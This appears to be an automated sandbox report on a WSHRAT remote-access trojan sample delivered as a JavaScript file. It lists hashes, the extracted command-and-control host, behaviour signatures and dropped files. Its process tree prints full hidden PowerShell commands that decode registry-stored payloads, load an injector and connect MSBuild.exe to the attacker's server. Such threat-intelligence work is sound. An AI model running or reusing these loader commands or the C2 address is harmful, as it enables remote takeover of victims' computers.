Overview

overview

10

Static

static

1

cc10da7e2a...4fc.js

windows7-x64

10

cc10da7e2a...4fc.js

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-05-2024 15:28

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General

  • Target

    cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js

  • Size

    616KB

  • MD5

    70a617fd2bdb08c64a65ecfba1612140

  • SHA1

    d41eec4cb2f449b845d3f4fa3baf80086705bba6

  • SHA256

    cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc

  • SHA512

    52c22c0b1d8b8e1b69224e4164fb75d0b07b7b1f8fb6b9b843218f0c01cae0279fe45cecbb538b021ddb7e57c723917ae2f34186881db210c8b4953b7a2b0961

  • SSDEEP

    12288:NYeIrWr/qRigAyX/kngXFbjTLvaH28nZH19Iimg0VtxWvTbxzOObcizI/mofdEMa:NYeIrWr/qRigAyX/kngXFbjTLvaH28nZ

Score
10/10
wshratexecutionpersistencetrojan

Malware Config

Extracted

Family

wshrat

C2

http://masterokrwh.duckdns.org:8426

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

    trojanwshrat
  • Blocklisted process makes network request 35 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 31 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'masterokrwh.duckdns.org 8426 \"WSHRAT|1426F231|BVRKIPTS|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 14/5/2024|JavaScript-v3.4|GB:United Kingdom\" 1'));"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4612
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        path masterokrwh.duckdns.org 8426 "WSHRAT|1426F231|BVRKIPTS|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 14/5/2024|JavaScript-v3.4|GB:United Kingdom" 1
        3⤵
        • Suspicious use of SetWindowsHookEx
        PID:1608

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    223bd4ae02766ddc32e6145fd1a29301

    SHA1

    900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

    SHA256

    1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

    SHA512

    648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    32535a8d767830ad16830ddca0d7e844

    SHA1

    91faee64f812c45f4f7e1dcab1b3fc8314446c6a

    SHA256

    659f5725da2bae4a7d94dfa90af83b0e4054465ae8937e570473c1528866f03b

    SHA512

    0716d3b0d92627de5c427ba1b0a7ced71a57c49077e27c65d3a8d65a4014145f586ecdade44df908aacfc38d445092f61864ff51a0b4ac0fe35d1bd5cb576e7b

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    cda00af30c2c12744b01d300660749a1

    SHA1

    d679fcd78cd8d5c797d02be7752144613ea898db

    SHA256

    95a5b881385d6ed6b030711628d5db3c3bfe8e8093aab499337e7bc6c73de6c1

    SHA512

    7af9027ed1eec2df46967bac66decc3dadeddd5e3696546f44ee872053e47d1ea97fc8f541d15459891813e9075f762074691976b2c8f3a0c1d8487edb73116f

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0srn1a4s.asf.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
    Filesize

    616KB

    MD5

    70a617fd2bdb08c64a65ecfba1612140

    SHA1

    d41eec4cb2f449b845d3f4fa3baf80086705bba6

    SHA256

    cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc

    SHA512

    52c22c0b1d8b8e1b69224e4164fb75d0b07b7b1f8fb6b9b843218f0c01cae0279fe45cecbb538b021ddb7e57c723917ae2f34186881db210c8b4953b7a2b0961

    Download Submit

  • memory/1556-12-0x00007FF9C3F80000-0x00007FF9C3FA2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1556-22-0x0000029FD6BB0000-0x0000029FD6BD2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/1608-51-0x0000000005690000-0x0000000005722000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1608-50-0x0000000005D10000-0x00000000062B4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1608-48-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/1608-52-0x0000000005800000-0x000000000589C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1608-55-0x0000000005760000-0x000000000576A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/4612-47-0x0000019D08D20000-0x0000019D08D2A000-memory.dmp

    Filesize

    40KB

    Download